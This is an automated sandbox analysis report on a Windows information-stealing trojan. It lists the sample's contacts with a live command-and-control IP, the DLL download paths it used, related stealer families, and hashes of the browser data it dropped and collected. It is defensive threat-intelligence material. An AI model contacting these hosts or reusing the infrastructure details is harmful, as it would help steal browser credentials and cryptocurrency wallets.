http://185.219.81.135/c708352984fb7ac0.phpGO	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/de4fe4f133a5af6f/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.phpwindow-state.jsonml	0%	Avira URL Cloud	safe
http://185.219.81.135/c708352984fb7ac0.php8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.181.46	true	false	high
www.google.com	142.250.181.132	true	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
185.219.81.135/c708352984fb7ac0.php	true	Avira URL Cloud: malware	unknown
http://185.219.81.135/de4fe4f133a5af6f/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.php	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://185.219.81.135/	true	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll	true	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/nss3.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/newtab_promos	false		high
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll	true	Avira URL Cloud: safe	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
http://185.219.81.135/de4fe4f133a5af6f/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpA	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	ZXVcgrmGRM.exe	false		high
http://www.broofa.com	chromecache_103.4.dr	false		high
http://ocsp.sectigo.com0	ZXVcgrmGRM.exe	false		high
http://185.219.81.135/c708352984fb7ac0.php:	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpUser	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phplt	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.php1	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpinomi	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135HJKF	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.php)	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	ZXVcgrmGRM.exe	false		high
http://185.219.81.135/c708352984fb7ac0.php3n	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.phpmi	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dllJ	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.php=I	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_103.4.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpER	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.phpP	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll8	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526989461.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	ZXVcgrmGRM.exe	false		high
http://185.219.81.135a	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.phpbird	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	ZXVcgrmGRM.exe, ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://sectigo.com/CPS0	ZXVcgrmGRM.exe	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpy	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/c708352984fb7ac0.phpcation	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll.	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.219.81.135W	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	false		high
http://185.219.81.135	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.php_O	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	JJJJDAAE.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_103.4.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpwindow-state.jsonml	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll2	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	ZXVcgrmGRM.exe	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.phpGO	ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	false		high
https://support.mozilla.org	DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JJJJDAAE.0.dr	false		high
http://185.219.81.135/c708352984fb7ac0.php8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K	ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
185.219.81.135	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.46	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577938
Start date and time:	2024-12-18 22:01:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZXVcgrmGRM.exe renamed because original name is a hash value
Original Sample Name:	f12ecb7e8dd8bfb2d68df43267aeba89.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@28/53@4/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 64.233.164.84, 172.217.17.78, 142.250.181.142, 142.250.181.3, 216.58.208.234, 172.217.21.42, 172.217.19.170, 142.250.181.74, 142.250.181.10, 172.217.19.202, 172.217.17.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 142.250.181.42, 172.217.19.234, 2.20.68.201, 172.217.19.10, 192.229.221.95, 23.204.130.19, 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ZXVcgrmGRM.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	http://kiesermedicalcorporation.com/mklakdjhfhm/yftguihjo/anRvcnRvcmljaUBiaWdnZS5jb20=	Get hash	malicious	Unknown	Browse
	http://docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse
	http://dva.dgkifyron.ru	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
	http://93287.mobi	Get hash	malicious	Unknown	Browse
	https://ine95l4am7-secondary.z5.web.core.windows.net/	Get hash	malicious	Unknown	Browse
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://muse.krazzykriss.com/BbWGOn6X5VNhl7wIMoGqGHbc4hg/hLYIPI2xCimX9Bg/l+JXfZf7	Get hash	malicious	Unknown	Browse
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse	92.119.114.51
	hD7SED8r8Q.exe	Get hash	malicious	Stealc, Vidar	Browse	45.91.201.185
	IYXE4Uz61k.exe	Get hash	malicious	DCRat, PureLog Stealer, Xmrig, zgRAT	Browse	45.137.64.40
	Content Collaboration Terms.dll.exe	Get hash	malicious	LummaC Stealer	Browse	185.209.21.227
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	185.231.71.206
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.86.109.115
	OBS-Studio-30.2.3-Windows-Installer.exe	Get hash	malicious	Unknown	Browse	95.215.204.231
	5yTEUojIn0.exe	Get hash	malicious	Stealc	Browse	77.83.175.91
	DihoyYp8ie.exe	Get hash	malicious	Stealc, Vidar	Browse	45.88.76.207
	Vl9Yz1UB1a.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.91

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse
	V65xPrgEHH.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DHDAFBFCFHIDAKFIIEBAAEHIJD

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJKFCGHIDHCBGDHJKEBGDGIJE

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGCAFIIECBFIDHIJKF

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDHIIDAF

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIEGHIDBGHIECAAECGD

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JJJJDAAE

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
